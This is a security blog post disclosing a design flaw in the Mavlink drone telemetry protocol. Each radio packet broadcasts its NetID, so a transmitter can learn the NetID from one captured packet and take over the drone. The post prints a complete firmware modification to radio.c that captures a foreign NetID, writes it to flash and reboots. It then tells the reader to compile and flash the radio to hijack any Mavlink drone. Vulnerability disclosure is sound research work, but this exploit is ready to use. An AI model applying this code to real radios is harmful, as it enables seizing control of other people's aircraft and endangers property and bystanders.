Recently some of us here at shellntel have been building quadcopters and autonomous vehicles for fun. We are big fans of the Pixhawk flight controller for its awesome autonomous capabilities. We are also big fans of privacy. As much as we like to build and fly these drones, we realize doing so in an irresponsible way can cause concern. We started looking into the various drone communications and discovered a design flaw that allowed us to take control of any drone flying with a specific telemetry protocol.
Telemetry allows the drone to exchange information and commands wirelessly with a ground station. This includes sending/receiving GPS coordinates, waypoints, throttle adjustments, arm and disarm commands, pretty much anything, including a serial shell.
The design flaw is not unique to PixHawk, but rather with the Mavlink protocol. Mavlink is used by many companies including: Parrot AR.Drone (with Flight Recorder), ArduPilot, PX4FMU, pxIMU, SmartAP, MatrixPilot, Armazila 10dM3UOP88, Hexo+, TauLabs and AutoQuad. All of these companies make great products, but if they adopt the Mavlink protocol as is, it may be possible to hijack their drones (and any other drone using Mavlink).
According to its documentation, each Mavlink radio pair is setup with a NetID or channel. This is done to prevent two radio pairs from interfering with each other. By default this value is set to 25, but the user can change this setting. To hijack one of these drones, all you’d need to do is set your transmitter to the same NetID as the target drone.
Looking at the protocol spec, each data packet sent by the radio includes the NetID in its transmission! This means that all we need to do is listen for a single packet within the frequency spectrum, capture it, carve the NetID, and set our radio to use it. This, is surprisingly easy.
Using these radios (we used v2), we can modify the OSS firmware to simply do this. The following changes were made to radio.c which when compiled is flashed to the transmitter.
Original Code:
// decode the header
errcount = golay_decode(6, buf, gout);
if (gout[0] != netid[0] || gout[1] != netid[1]) {
// its not for our network ID
debug(“netid %x %x\n”,
(unsigned)gout[0],
(unsigned)gout[1]);
goto failed;
}
Modified Code:
// decode the header
errcount = golay_decode(6, buf, gout);
if (gout[0] != netid[0] || gout[1] != netid[1]) {
// its not for our network ID
/* Modified by __int128 */
// Set our radio to use the captured packets NetID
param_set(PARAM_NETID, gout[0]);
// Save the value to flash
param_save();
// To read the new value we need to reboot. Rebooting
RSTSRC |= (1 << 4);
/* End of what was added by __int128*/
}
The variable gout[0] is set earlier in the radio.c; which is populated with the NetID of all captured packets. This block of code is only hit when our radio hears a packet from another radio set on a different NetID from ours (which is good because don’t want to reboot each time we hear a new packet). Anyway, that’s it, 3 lines of code is all it takes to hijack any drone using Mavlink. Compile it, flash the radio and you’re good to go. It works surprisingly well and is super quick.